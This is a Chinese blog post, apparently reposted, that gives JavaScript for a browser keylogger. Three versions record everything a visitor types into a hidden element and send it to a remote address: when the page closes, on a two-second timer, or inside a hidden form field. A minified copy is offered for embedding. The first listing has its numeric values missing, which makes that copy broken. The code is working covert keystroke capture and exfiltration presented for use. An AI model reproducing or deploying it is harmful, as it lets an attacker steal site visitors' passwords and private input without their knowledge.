JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去
最近陈老师让我给新架构加一个按键记录的业务。去学习了JavaScript，网上找了一些代码，最后写出来了：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Generator" CONTENT="EditPlus">
<META NAME="Author" CONTENT="Larry">
<META NAME="Keywords" CONTENT="JS按键记录">
<META NAME="Description" CONTENT="JS 按键 记录">
</HEAD>
<BODY> <script type="text/javascript">
var keystring = "";//记录按键的字符串
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=,CapsLock=,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=&&currKey<=;
switch(currKey)
{
//屏蔽了退格、制表、回车、空格、方向键、删除键，因为keypress只能针对一些可以打印出来的字符有效，而对于功能按键，如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等，就不会产生keypress事件，但是可以产生keydown和keyup事件。然而在FireFox中，功能按键是可以产生keypress事件的。
case : case :case :case :case :case :case :case :case :keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>&&currKey<)||(currKey>&&currKey<))
{
switch(currKey)
{
case : keyName = "[退格]"; break;
case : keyName = "[制表]"; break;
case :keyName = "[回车]"; break;
case :keyName = "[空格]"; break;
case :keyName = "[PageUp]"; break;
case :keyName = "[PageDown]"; break;
case :keyName = "[End]"; break;
case :keyName = "[Home]"; break;
case :keyName = "[方向键左]"; break;
case :keyName = "[方向键上]"; break;
case :keyName = "[方向键右]"; break;
case :keyName = "[方向键下]"; break;
case :keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp=new XMLHttpRequest();
}
else
{// code for IE6, IE5
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState== && xmlhttp.status==)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
<!-- send的参数的规则是，用“=”间隔name和body，“&”间隔条目，下面这行会在name中显示“keystring”，value中显示keystring的值 -->
xmlhttp.send("keystring="+keystring);
} <!-- 如果下面用下面这行，则在关闭前弹出对话框。 -->
<!-- window.onbeforeunload = function() { return "大鸡吧大鸡吧？"+ keystring;} --> window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
这段代码修改自网名为“羽殇仁”的代码。
参考：http://www.w3school.com.cn/ajax/ajax_xmlhttprequest_send.asp
http://www.jb51.net/article/22001.htm
-------------更新----------------------
onbeforeunload只能判断页面关闭，但又找不到能判断页面跳转的函数，于是想出了每隔两秒post键击的方法如下：
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD><TITLE>JS按键记录</TITLE>
<META NAME="Author" CONTENT="Larry">
</HEAD>
<BODY onload="timedCount()">
<script type="text/javascript">
var c=0
var t
function timedCount()
{
c=c+1
t=setTimeout("keepPosting()",2000)
} function keepPosting()
{
loadXMLDoc();
timedCount();
}
</script> <script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("content").innerHTML=keystring;
}
function keyup(e)
{
$("content").innerHTML=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup; function loadXMLDoc()
{
var xmlhttp;
if (window.XMLHttpRequest)
{
xmlhttp=new XMLHttpRequest();
}
else
{
xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.getElementById("myDiv").innerHTML=xmlhttp.responseText;
}
}
xmlhttp.open("POST","http://www.test.com",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("keystring="+keystring);
} window.onbeforeunload = function() { loadXMLDoc();} </script>
<br/><div id="content" style="display:none;" ></div> </BODY>
</HTML>
参考：js计时：http://www.w3school.com.cn/js/js_timing.asp
js：unload ：http://www.w3school.com.cn/jsref/event_onload.asp
-----------2015年1月26日更新 利用form中的 input type = hidden实现在点击提交的同时提交按键记录----------------
<script type="text/javascript">
var keystring = "";
function $(s){return document.getElementById(s)?document.getElementById(s):s;}
function keypress(e)
{
var currKey=0,CapsLock=0,e=e||event;
currKey=e.keyCode||e.which||e.charCode;
CapsLock=currKey>=65&&currKey<=90;
switch(currKey)
{
case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;
default:keyName = String.fromCharCode(currKey); break;
}
keystring += keyName;
}
function keydown(e)
{
var e=e||event;
var currKey=e.keyCode||e.which||e.charCode;
if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))
{
switch(currKey)
{
case 8: keyName = "[退格]"; break;
case 9: keyName = "[制表]"; break;
case 13:keyName = "[回车]"; break;
case 32:keyName = "[空格]"; break;
case 33:keyName = "[PageUp]"; break;
case 34:keyName = "[PageDown]"; break;
case 35:keyName = "[End]"; break;
case 36:keyName = "[Home]"; break;
case 37:keyName = "[方向键左]"; break;
case 38:keyName = "[方向键上]"; break;
case 39:keyName = "[方向键右]"; break;
case 40:keyName = "[方向键下]"; break;
case 46:keyName = "[删除]"; break;
default:keyName = ""; break;
}
keystring += keyName;
}
$("kks").value=keystring;
}
function keyup(e)
{
$("kks").value=keystring;
}
document.onkeypress=keypress;
document.onkeydown =keydown;
document.onkeyup =keyup;
</script>
<br/><div id="content" style="display:none;" ></div>
然后在form里面加入：
<input type="hidden" id="kks" name="kks2222" value="">
-------------补充----------------------
可采用http://bbs.css-js.cn/的UglifyJS压缩代码去掉换行符。
注意压缩时候不要把Script标签带进去不然会失败。
压缩后：
<BODY onload="timedCount()"><script type="text/javascript">function timedCount(){c+=1,t=setTimeout("keepPosting()",2e3)}function keepPosting(){loadXMLDoc(),timedCount()}function $(a){return document.getElementById(a)?document.getElementById(a):a}function keypress(a){var b=0,c=0,a=a||event;switch(b=a.keyCode||a.which||a.charCode,c=b>=65&&90>=b,b){case 8:case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName="";break;default:keyName=String.fromCharCode(b)}keystring+=keyName}function keydown(a){var b;if(a=a||event,b=a.keyCode||a.which||a.charCode,b>7&&14>b||b>31&&47>b){switch(b){case 8:keyName="[退格]";break;case 9:keyName="[制表]";break;case 13:keyName="[回车]";break;case 32:keyName="[空格]";break;case 33:keyName="[PageUp]";break;case 34:keyName="[PageDown]";break;case 35:keyName="[End]";break;case 36:keyName="[Home]";break;case 37:keyName="[方向键左]";break;case 38:keyName="[方向键上]";break;case 39:keyName="[方向键右]";break;case 40:keyName="[方向键下]";break;case 46:keyName="[删除]";break;default:keyName=""}keystring+=keyName}$("content").innerHTML=keystring}function keyup(){$("content").innerHTML=keystring}function loadXMLDoc(){var a;a=window.XMLHttpRequest?new XMLHttpRequest:new ActiveXObject("Microsoft.XMLHTTP"),a.onreadystatechange=function(){4==a.readyState&&200==a.status&&(document.getElementById("myDiv").innerHTML=a.responseText)},a.open("POST","http://www.test.com",!0),a.setRequestHeader("Content-type","application/x-www-form-urlencoded"),a.send("keystring="+keystring)}var t,c=0,keystring="";document.onkeypress=keypress,document.onkeydown=keydown,document.onkeyup=keyup,window.onbeforeunload=function(){loadXMLDoc()};</script><br/><div id="content" style="display:none;" ></div>
JavaScript实现按键记录，并在关掉网页之前把记录的内容post出去的更多相关文章
- JavaScript 获取按键，并屏蔽系统 Window 事件
// JavaScript 获取按键,并屏蔽系统 Window 事件 window.document.onkeydown = onkeydown; function onkeydown(event) ...
- 利用Crowbar抓取网页异步加载的内容 [Python俱乐部]
利用Crowbar抓取网页异步加载的内容 [Python俱乐部] 利用Crowbar抓取网页异步加载的内容 在做 Web 信息提取.数据挖掘的过程中,一个关键步骤就是网页源代码的获取.但是出于各种原因 ...
- 【记录】尝试用android-logging-log4j去实现log输出内容到sd卡中的文件的功能
[背景] 折腾: [记录]给Android中添加log日志输出到文件 期间,已经试了: [记录]尝试用android中microlog4android实现log输出到文件的功能 但是不好用. 然后就是 ...
- 使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录
使用ActionFilterAttribute 记录 WebApi Action 请求和返回结果记录 C#进阶系列——WebApi 异常处理解决方案 [ASP.NET Web API教程]4.3 AS ...
- 初探oracle删除重复记录，只保留rowid最小的记录
如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种方法,如下只是介绍了两种方法(exist和in两种). 1.首 ...
- ON DUPLICATE KEY UPDATE 当记录不存在时插入，当记录存在时更新
MySQL 当记录不存在时插入,当记录存在时更新网上基本有三种解决方法.第一种:示例一:插入多条记录假设有一个主键为 client_id 的 clients 表,可以使用下面的语句:INSERTINT ...
- SQL 从100万条记录中的到 成绩最高的记录
从100万条记录中的到 成绩最高的记录 问题分析:要从一张表中找到成绩最高的记录并不难,有很多种办法,最简单的就是利用TOP 1 select top 1 * from student order b ...
- oracle删除重复记录，只保留rowid最小的记录
初探oracle删除重复记录,只保留rowid最小的记录 如题,初探oracle删除重复记录,只保留rowid最小的记录(rowid可以反映数据插入到数据库中的顺序) 一.删除重复记录可以使用多种 ...
- 【转】MySQL 当记录不存在时insert，当记录存在时update
MySQL当记录不存在时insert,当记录存在时更新:网上基本有三种解决方法 第一种: 示例一:insert多条记录 假设有一个主键为 client_id 的 clients 表,可以使用下面的语句 ...
随机推荐
- Android 实现Activity后台运行
有时需要让activity在后台运行,具体实现方法如下: 在AndroidManifest.xml中,activity属性中增加: android:theme="@style/Backgro ...
- linux 文件属性与权限
内容源于: 鸟哥的linux私房菜 链接如下: Linux 的文件权限与目录配置 Linux 磁盘与文件系统管理 Linux 文件与目录管理 目录 Linux文件属性 [文件属性解析(SUID/SGI ...
- 【iOS开发-58】tableView初识：5个重要方法的使用和2种样式的差别
创建一个tableView,直接拖拽放在storyboard里面就可以. (1)先创建一个数据模型类WSCarGroup,在WSCarGroup.h文件里: #import <Foundatio ...
- 淘宝HSF 框架使用 总结
@(JAVA开发) 淘宝HSF 框架使用 总结 随着网站访问量增加,仅仅靠增加机器已不能满足系统的要求,于是需要对应用系统进行垂直拆分和水平拆分.在拆分之后,各个被拆分的模块如何通信?如何保证性能?如 ...
- construct-binary-tree-from-preorder-and-inorder-traversal——前序和中序求二叉树
Given preorder and inorder traversal of a tree, construct the binary tree. Note: You may assume tha ...
- Go语言中的单引号、双引号、反引号
=Start= 搜索关键字: golang single quotes golang double quotes golang back quotes 参考结果: 结论写在最前:在Go语言中不倾向于使 ...
- crtmp Server 开启rtsp服务功能
Crtmp Server 包含了rtsp 服务功能,如果需要一个简单轻量的rtsp服务,Crtmp Server会是不错的选择. 默认情况下,rtsp功能是关闭的,需要在配置文件中打开.window环 ...
- Cocos2d-X中的粒子
Cocos2d-x引擎提供了强大的type=cocos2d-x&url=/doc/cocos-docs-master/manual/framework/native/v3/particle-s ...
- Django-content—type
Django包含一个contenttype应用,它可以追踪安装在你的Django项目里的所有的应用,并提供一个高层次的,通用的接口用于与你的模型进行交互 Contenttypes 的核心应用是Cont ...
- Fedora25 下 OpenCV2.4.12 的安装
你必须非常努力,才能看起来毫不费力.---------------感谢原作者的分享. opencv官网上面给出的 linux 下安装方式,基本上都是通过编译源码,即下载代码, cmake->ma ...